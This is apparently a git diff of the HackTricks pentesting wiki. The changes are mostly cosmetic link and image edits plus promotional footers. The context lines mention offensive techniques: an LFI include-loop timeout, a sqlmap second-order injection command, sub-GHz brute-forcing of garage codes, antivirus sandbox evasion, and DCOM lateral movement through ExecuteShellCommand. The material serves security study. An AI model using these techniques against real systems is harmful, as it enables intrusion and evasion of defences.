{% hint style="warning" %} Note that in order to trigger the timeout it would be **enough to include the vulnerable LFI page**, so it enters in an eternal include loop. @@ -117,7 +117,7 @@ It looks like by default Nginx supports **512 parallel connections** at the same * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/sql-injection/sqlmap/README.md b/pentesting-web/sql-injection/sqlmap/README.md index ae158417..354c432e 100644 --- a/pentesting-web/sql-injection/sqlmap/README.md +++ b/pentesting-web/sql-injection/sqlmap/README.md @@ -12,7 +12,7 @@ -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -158,7 +158,7 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrat -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: @@ -244,7 +244,7 @@ Remember that **you can create your own tamper in python** and it's very simple. | versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | | xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' | -
+
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: diff --git a/todo/radio-hacking/sub-ghz-rf.md b/todo/radio-hacking/sub-ghz-rf.md index 913b0030..15cdf81e 100644 --- a/todo/radio-hacking/sub-ghz-rf.md +++ b/todo/radio-hacking/sub-ghz-rf.md @@ -7,7 +7,7 @@ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). @@ -27,13 +27,13 @@ In Europe 433.92MHz is commonly used and in U.S. and Japan it's the 315MHz. If instead of sending each code 5 times (sent like this to make sure the receiver gets it) so just send it once, the time is reduced to 6mins: -
+
and if you **remove the 2 ms waiting** period between signals you can **reduce the time to 3minutes.** Moreover, by using the De Bruijn Sequence (a way to reduce the number of bits needed to send all the potential binary numbers to burteforce) this **time is reduced just to 8 seconds**: -
+
Example of this attack was implemented in [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame) @@ -104,7 +104,7 @@ Testing against an aftermarket rolling code system installed on a car, **sending * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/windows-hardening/av-bypass.md b/windows-hardening/av-bypass.md index ef9655b3..2564cfbb 100644 --- a/windows-hardening/av-bypass.md +++ b/windows-hardening/av-bypass.md @@ -54,7 +54,7 @@ It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you c Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes -

Red Team VX Discord #malware-dev channel

+

Red Team VX Discord #malware-dev channel

As we've said before in this post, **public tools** will eventually **get detected**, so, you should ask yourself something: diff --git a/windows-hardening/lateral-movement/dcom-exec.md b/windows-hardening/lateral-movement/dcom-exec.md index 76bd337c..80d3c115 100644 --- a/windows-hardening/lateral-movement/dcom-exec.md +++ b/windows-hardening/lateral-movement/dcom-exec.md @@ -7,7 +7,7 @@ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).. @@ -18,7 +18,7 @@ The [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) COM object allows you to script components of MMC snap-in operations. While enumerating the different methods and properties within this COM object, I noticed that there is a method named `ExecuteShellCommand` under Document.ActiveView. -![](<../../.gitbook/assets/image (4) (2) (1).png>) +![](<../../.gitbook/assets/image (4) (2) (1) (1).png>) You can read more on that method [here](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). So far, we have a DCOM application that we can access over the network and can execute commands. The final piece is to leverage this DCOM application and the ExecuteShellCommand method to obtain code execution on a remote host. @@ -39,7 +39,7 @@ The **MMC20.Application** object lacked explicit “[LaunchPermissions](https:// You can read more on that thread [here](https://twitter.com/tiraniddo/status/817532039771525120).\ Viewing which other objects that have no explicit LaunchPermission set can be achieved using [@tiraniddo](https://twitter.com/tiraniddo)’s [OleView .NET](https://github.com/tyranid/oleviewdotnet), which has excellent Python filters (among other things). In this instance, we can filter down to all objects that have no explicit Launch Permission. When doing so, two objects stood out to me: `ShellBrowserWindow` and `ShellWindows`: -![](<../../.gitbook/assets/image (3) (1) (1).png>) +![](<../../.gitbook/assets/image (3) (1) (1) (2).png>) Another way to identify potential target objects is to look for the value `LaunchPermission` missing from keys in `HKCR:\AppID\{guid}`. An object with Launch Permissions set will look like below, with data representing the ACL for the object in Binary format: @@ -161,7 +161,7 @@ The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Emp * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).